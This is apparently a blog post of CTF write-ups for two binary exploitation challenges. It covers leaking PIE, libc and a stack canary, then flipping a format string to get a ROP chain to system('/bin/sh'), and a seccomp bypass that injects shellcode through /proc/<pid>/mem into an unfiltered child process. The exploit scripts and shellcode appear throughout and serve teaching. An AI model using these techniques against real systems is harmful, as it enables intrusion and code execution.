Contents

Inspector
John McCarthy

FL1TZ SummerRush CTF - PWN Writeups

AuthorWriteup
2025-07-17
Back to blog
Table of Contents
Inspector
John McCarthy

Complete writeups for the binary exploitation challenges from FL1TZ SummerRush CTF. This CTF featured two pwn challenges that showcased the following exploitation techniques: memory inspection with arbitrary read/write primitives, and seccomp bypass through process injection.


Inspector

The Inspector challenge presents a memory inspection and patching program with seemingly limited capabilities - but these limitations can be cleverly bypassed to achieve full code execution.

Discovery & Initial Analysis

The program provides two main functionalities:

  1. Memory inspection - Read arbitrary memory addresses
  2. Memory patching - Write a single byte to any memory location (limited to one use)

Key Vulnerabilities Identified

  1. Arbitrary Memory Read The inspect_value() function allows reading from any memory address:
void inspect_value() {
    unsigned long addr_input;
    unsigned long value;
    printf("Which address would you like to inspect? ");
    scanf("%lu", &addr_input);
    getc(stdin);

    value = *(unsigned long*)addr_input;
    printf("Address: %p | Value: %p\n", (void *)addr_input, (void*)value);
}
  1. Single Byte Write Anywhere The patch_value() function provides a one-shot arbitrary write primitive:
void patch_value() {
    unsigned long addr_input;
    printf("Enter address to patch: ");
    scanf("%lu", &addr_input);
    getc(stdin);
    uint8_t *target = (uint8_t *)addr_input;
    // ... validation and single write
    *target = (uint8_t)new_value;
}
  1. Critical Format String Location The most crucial vulnerability lies in this seemingly innocent line:
char fmt[] = "%d";
scanf(fmt, &option);

Unlike using a string literal directly in scanf("%d", &option), this declaration places the format string in the writable .data section instead of the read-only .rodata section.

  1. Input Handling Bug The combination of scanf() and getc(stdin) creates an exploitable condition:
scanf("%lu", &addr_input);
getc(stdin);

When non-numeric input is provided to scanf(), it fails to parse and leaves addr_input unmodified, while getc(stdin) consumes the invalid input from the buffer.

Exploitation Strategy

Step 1: Information Leakage via Input Handling Bug

The first step exploits the input handling bug to leak memory contents. When non-numeric input is provided to the address prompt, scanf() fails but addr_input retains its previous stack value:

def leak_pie():
    view("x")
    io.recvuntil(b'Address: ')
    elf.address = int(io.recvuntil(b' ').strip(), 16) - 0x158f
    log.success("base address: " + hex(elf.address))

This leaks a .text section address, allowing calculation of the PIE base address.

Step 2: Defeating ASLR - Libc Leak

With PIE defeated, known addresses in the binary become accessible. The GOT (Global Offset Table) is targeted to leak libc addresses:

def leak_libc():
    view(elf.got.puts)
    io.recvuntil(b'Value:')
    libc.address = int(io.recvline().strip(), 16) - 0x80e50
    log.success("libc: " + hex(libc.address))
Step 3: Stack Leak and Canary Extraction

To perform a stack-based attack, stack canaries must be bypassed by:

  1. Reading environ - A libc symbol pointing to the environment variables on the stack
  2. Calculating canary location - Using the known stack layout to find the canary
def leak_canary():
    global canary
    view(libc.sym.environ)
    io.recvuntil(b'Value:')
    canary_address = int(io.recvline().strip(), 16) - 0x2400
    io.clean()
    view(canary_address)
    io.recvuntil(b'Value:')
    canary = int(io.recvline().strip(), 16)
    log.success("canary: " + hex(canary))
Step 4: The Critical Patch - Format String Modification

The single-byte write becomes crucial here. The format string fmt[] is located in the writable .data section:

char fmt[] = "%d";

In the main loop, this format string is used directly:

void main_loop() {
    uint8_t option;
    while (1) {
        print_menu();
        scanf(fmt, &option);  // Uses our modifiable format string!
        // ...
    }
}

The format specifier can be modified from "%d" to "%s" by changing a single byte:

def override_fmt():
    fmt_address = elf.address + 0x4010
    patch(fmt_address+0x1, ord("s"))

This changes scanf(fmt, &option) from scanf("%d", &option) to scanf("%s", &option), creating a buffer overflow vulnerability!

Step 5: ROP Chain Execution

With the format string modified to "%s", buffer overflow becomes possible when inputting the "option". A ROP chain is constructed to spawn a shell:

def ropchain():
    ret = elf.address + 0x15c0
    pop_rdi = libc.address + 0x2a3e5
    binsh = next(libc.search(b'/bin/sh\x00'))
    pause()
    payload = b'\x00'
    payload += p64(canary)
    payload += p64(0x0)
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(ret)
    payload += p64(libc.sym.system)
    io.sendline(payload)

The payload structure:

  1. Null byte - Satisfies the uint8_t option variable
  2. Canary value - Bypasses stack protection
  3. Saved RBP - Stack frame pointer
  4. ROP chain - pop rdi; ret → /bin/sh → system()

Why Inspector Works

  1. Input Handling Bug: Allows leaking stack contents without knowing addresses initially
  2. Writable Format String: Poor coding practice places format string in writable memory
  3. Arbitrary Read/Write: Provides the primitives needed to gather information and modify the format string
  4. Single Byte Precision: One byte is sufficient to change the vulnerability class from limited read/write to full code execution

John McCarthy

The John McCarthy challenge presents a shellcode execution environment with severe seccomp restrictions, requiring creative process injection techniques to achieve code execution.

Discovery & Initial Analysis

The program allows shellcode input which it then executes, but applies a seccomp filter that severely restricts available syscalls:

scmp_filter_ctx ctx;
void setup_seccomp() {
    ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chroot), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigprocmask), 0);
    seccomp_load(ctx);
}

Notably missing are crucial syscalls like execve (to spawn a shell) and read (to read file contents directly).

The Key Insight: Fork Before Seccomp

The critical vulnerability lies in the execution order within the main() function:

  1. read_buf() - reads shellcode
  2. start_timer() - forks a child process
  3. setup_seccomp() - applies the restrictive seccomp filter
  4. Executes shellcode

The start_timer() function creates a child process that runs in a loop, printing timer messages. Crucially, this fork happens before the seccomp filter is applied:

  • The parent process (where shellcode runs) has the restrictive seccomp filter
  • The child process (the timer) has no seccomp restrictions and can execute any syscall

Exploitation Strategy

Since direct shell spawning is impossible due to seccomp restrictions, but open, lseek, and write syscalls are available:

  1. Leak the child process PID from memory
  2. Open /proc/<child_pid>/mem to access the child's memory
  3. Overwrite the child's executable memory with shellcode
  4. Wait for the child to execute the injected shellcode

Exploitation Implementation

Step 1: Leaking the Child PID and Building the Path
payload = asm(f"""
              lea r14, [rip-0x7]
              lea r13, [r13-0x16ec]
              lea rsi, [r13+0x4050]
              mov rsi, [rsi]
              xor rax, rax
              mov eax, esi
              lea rdi, [rsp-0x50]
              add rdi, 10
              mov rcx, rdi

          .convert:
              xor rdx, rdx
              mov rbx, 10
              div rbx
              add dl, '0'
              dec rdi
              mov [rdi], dl
              test rax, rax
              jnz .convert

              sub rdi, 8
              mov rax, 0x2f2f2f636f72702f
              mov [rdi], rax
              mov rax, 0x6d656d2f
              mov [rcx], rax

This portion:

  1. Saves payload address for later reference
  2. Calculates base address to navigate the binary's memory layout
  3. Leaks the child PID from a global variable
  4. Converts PID to string using decimal-to-ASCII conversion
  5. Builds the path /proc/<pid>/mem by constructing the string in memory
Step 2: Opening /proc/PID/mem and Injecting Shellcode
              mov rax, 0x2
              mov rsi, 0x1
              mov rdx, 0x1b6
              syscall

              mov rdi, rax
              lea rsi, [r13+{length}]
              mov rdx, 0
              mov rax, 8
              mov r10, rdi
              syscall

              mov rdi, r10
              mov rax, 0x1
              lea rsi, [r14+{payload_padding}]
              mov rdx, {shellcode_len}
              syscall

             
          .loop:
              nop
              jmp .loop
              """)

This section:

  1. Opens /proc/<child pid>/mem using the open syscall
  2. Seeks to offset 0x13fd in the child's memory using lseek
  3. Writes shellcode to that location using write
  4. Enters an infinite loop to keep the parent process alive

The address 0x13fd is chosen as a location in the child's executable memory that will be executed when the child returns from its sleep() call.

Why John McCarthy Works

  1. Timing: The child process runs in a loop, providing time to inject shellcode before execution
  2. Memory Layout: /proc/<child pid>/mem allows direct writing to the child's memory space
  3. No Seccomp in Child: The child process has no syscall restrictions, so injected shellcode can call execve
  4. Execution Flow: By overwriting memory at a strategic location, the child's execution is redirected to the shellcode

Was this helpful?

Back to Blog